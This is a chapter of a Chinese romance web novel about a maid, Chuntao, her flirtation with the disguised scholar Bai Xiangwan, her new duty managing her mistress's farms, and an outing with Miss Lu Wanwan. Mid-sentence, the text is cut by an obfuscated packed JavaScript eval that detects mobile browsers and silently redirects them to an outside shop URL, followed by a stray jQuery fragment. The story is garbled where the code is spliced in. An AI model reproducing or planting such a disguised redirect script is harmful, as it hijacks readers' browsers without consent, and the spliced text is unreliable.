“你家太太要回去了,你也去吧,等我什么时候编个理由叫你出来玩,我们去逛二十四桥,扬州可没有上京那么讲究男女大防,女孩子也可以上街玩。”卢绾绾冲春桃眨着明亮的大眼睛,笑嘻嘻的道。
春桃点点头,冲卢绾绾福了福礼,提着一份卢绾绾打包给她的樱桃雪花羹,趁着渐浓的夜色往宴饮的前院去寻庄氏。在檐廊尽头的拐角处,春桃脚下不妨,被光滑的云步阶给差点滑倒,小食盒中的碗盖也跟着发出清脆的碰响。春桃怕盒中美食被颠簸散了,连忙心疼的往院边的须弥座花台去,将食盒放在花台上,开了盖子检查,却不妨被一双手捂住了眼睛。春桃大略猜出这是谁,嘴角噙了笑意,转身去看他。
傍晚朦胧夜色中,白向晚穿着一席玉青色绸缎长袍,腰间象牙束腰,泼墨的头发被白玉冠带束起,全无以往闲云野鹤的闲散气质,俨然是一个金尊玉贵养出来的翩翩佳公子,站在木香花树下,温润如玉,笑意盈盈。
白向晚拢起她的手,将一个小小的白玉连环同心扣放在她手里,问道:“从哪儿来,往哪儿去呢?”
春桃用手指去拨弄掌中那精巧的小东西,半晌才抬了头去看他,眨巴着眼睛道:“刚吃了卢小姐的席面,现在去找大太太。你可哪有空儿逃出席来呢?方大才子?”
白向晚知道她已经猜出自己就是方兖,低低笑了,道:“觥筹交错间,图的都是些虚名浮利,无趣极了,还不如和你一起编排人有趣。”
春桃想起之前两个人在蕴绿轩时,八卦起上京城各个豪门公府的绯闻轶事,要不是春桃有差事在身,简直可以说上几天几夜,也被逗笑了,道:“那改天跟我编排编排兖州方氏的内幕,我可太想知道了。”
“应该的,不然你都不放心我,都不肯要我送给你的东西。”白向晚幽幽地看着她,乌亮亮的眼睛里满是缠绵的依恋。
春桃想说那是一件东西吗,那可是几十口人命啊,不过这事儿一时半会也掰扯不清楚,还是得抽个空儿细细说说。春桃瞅了瞅他被扎束起来的头发,疑惑道:“你还没到加冠的年纪,怎么倒把头发束起来了?”
“为了方便行事,我给我添了四岁,年龄大一点,更能服人。”白向晚笑的狡猾极了。
“年龄大点好啊,”春桃讳莫如深道,“今天女眷这边几个夫人都在议论呢,说你还没许亲事,不知是什么缘故,一个个都跃跃欲试的样子,我估摸着家中都有适龄的小姐,想给你说合来着。”
“那我寻个机会跟她们说,家中已经在给我议亲了,议的是魏国一户薛姓人家的姑娘,人家瞧不上我,还未允诺婚事,家中正在为此焦灼呢,让闲杂人等不要来烦我。好不好?”
春桃噘着嘴,仰起脑袋憋笑道:“谁敢看不上你呀。”
“那你这是答应了?”白向晚逗她。
“这你得问我父母去,还是爹娘做主比较可靠啊。”
这倒给白向晚说的愣住了,仔细回想了一下,没好气的看着她道:“那我让我娘找个阴阳先生问一下,你这也太欺负人了。”
春桃笑的直不起腰来,推开他,提起食盒跑了,只听白向晚在后面喊道:“等我抽空找你!”春桃不作回答,一阵风似的跑去宴厅了。
方才宾客都在席间,来往的都只有奴婢和仆役,再加上他们俩站的地方隐蔽,所以基本上没人发现。回程的马车上,庄氏见春桃提了盒小甜品,倒还问了问春桃今日卢小姐和她干嘛了,春桃知道庄氏是想打问卢小姐的性情,便捡了些好的回了,至于卢绾绾的语不惊人死不休,她帮卢绾绾隐瞒了。
“依你说来,这卢小姐倒是个温良的性子?”
春桃才不敢打这种包票,卢绾绾可是有能掀人房顶的本事的,万一将来真闹起来,庄氏怪她今日骗人怎么办!只是道:“太太选的,自然错不了。”
庄氏得意的点点头,又问道:“今日卢小姐可问了府上的情况?”
对于那个四面漏风的白家,庄氏还真的挺担心的,去年出了那么多事,万一吓着人家卢小姐,不敢嫁了怎么办。春桃想说其实卢绾绾只关心白庭轩长得磕碜不磕碜,对白府其余人的死活很是无所谓,不过这春桃也得替她隐瞒,斟酌道:“卢小姐旁敲侧击的问了些二爷平日学的课业有哪些,奴婢好言答了,卢小姐很是羞涩,不敢问太多。别的奴婢还要说时,卢小姐倒红着脸不许奴婢说呢。”
看来自己这未来儿媳妇还是个乖乖女呢,庄氏放心了,彻底有了笑模样,吩咐灵棋道:“让下头人准备一下,我们抽个空子回润州家里一趟。”
灵棋应是。
这应该是要去润州管娘家要些钱来,好准备正式下聘那些东西了,春桃心中则是另有思量,若是庄氏回润州了,那卢绾绾还能把她从庄氏跟前掏出来吗?
事实证明,卢绾绾能,因为卢绾绾第二天就打发卢家的家奴来了。
说是卢家为示亲好,要给白府上的三小姐白思絮与五小姐白思玉裁制些衣裳、打些簪钗,想让庄氏这边的知道小姐们身形的丫鬟去一趟,帮着选一选料子。
庄氏自然受宠若惊,因为这种未嫁的嫂嫂给婆家的小姑子准备些小礼品什么的,也是表达两姓亲好的俗礼。这说明卢家对白家很是看重,庄氏才不管什么绾绾舞剑意在春桃呢,直接大手一挥让春桃留在了扬州,还把她原本要去巡视扬州附近自己嫁妆庄子的差事交给了春桃,美滋滋的领着灵棋等一干人等去润州了。
春桃一开始还在苦恼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171114|187624||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于不能跟着去润州就没法在主子跟前表现,觉得前程和友谊没法两项兼顾,这下可好,她直接全权负责庄氏庄子上的事,只要她能把江南田庄好好打理,就能既不耽误和卢绾绾一起玩,也不耽误事业进步了。江南田庄此前一直受崔奶奶管辖,庄氏有什么事也都是通过崔奶奶下达,或者再由灵棋负责一部分具体事宜。这次南下未带崔奶奶,所以春桃一开始还以为田庄的事情要全权委派给灵棋,她还在琢磨该怎样从灵棋手里抠一些差事来办,好让庄氏知道自己也有打理财产的头脑,谁承想事赶着事儿,如今庄氏竟直接下令,让她全权总署,简直是得来全不费工夫。灵棋见木已成舟,自己阻拦反倒找不出由头,也只好奉庄氏的命令,将各个田庄之上的大致情况讲给春桃。
就这样,一切准备就绪之后,庄氏一行人便登上了去往润州的马车。春桃则是火速安排了人往各处庄子上去,让庄头带着一年的流水账到扬州来报道。估摸着各地庄头到扬州来也要一两天,这两天是个空子,春桃这才让春秧看家,自己坐马车去了卢府见卢绾绾。
“你可来了,我还以为你第二天就能来,谁承想又拖了三四天呢。”卢绾绾把春桃从自己母亲那里抢了来,两个人往卢绾绾自己的小院去。
“太太往润州省亲去了,我脱不开身,今儿才得出来。”春桃解释着。
卢绾绾眸中闪烁着雀跃的光,道:“我带你去长长见识,”说罢将春桃拉进自己屋里,侧间是卢绾绾的几个大衣柜,卢绾绾屏退众人,只余下燕珍玉蕊,将衣柜最深处一个包袱拿出来,放在榻上解开,春桃发现里面赫然是些翻领袍圆领袍和宽大的裤子还有两双皂靴。
卢绾绾捡了一套,扔给春桃道:“换上吧,把外面的衣裳脱了换上就行。”说罢自己也开始解衣裳,给春桃看得一愣一愣。
“我们这是——”要干嘛?春桃还以为卢绾绾今天叫她来照旧是请她吃饭来着,有兴致了再打两把双陆,贵族小姐的娱乐活动不就这么些吗!
“出去玩啊,我们得穿成男人的样子,不然裙子拖在地上脏死了。”
春桃骇然。
“我我我不敢,万一出什么事儿怎么办。”万一她和卢绾绾偷跑出去,卢绾绾被人当街调戏或遇到什么危险,让卢家的主子知道了,那庄氏不活剥了她啊。
“有府卫跟着,不怕,我经常出去玩的,母亲也知道,别磨叽了,快点儿啊我说!”卢绾绾自己已经穿好了,见春桃还在抱着衣服踌躇,不由得火气上涌,跑过来瞬间就将春桃的半褙衫子脱掉了,吓得春桃尖叫一声,给卢绾绾逗笑了,道,“我又不会轻薄你,瞧你吓成这样。”
“你说的啊,今儿出去有什么事儿,全在你身上。”春桃还是不大放心。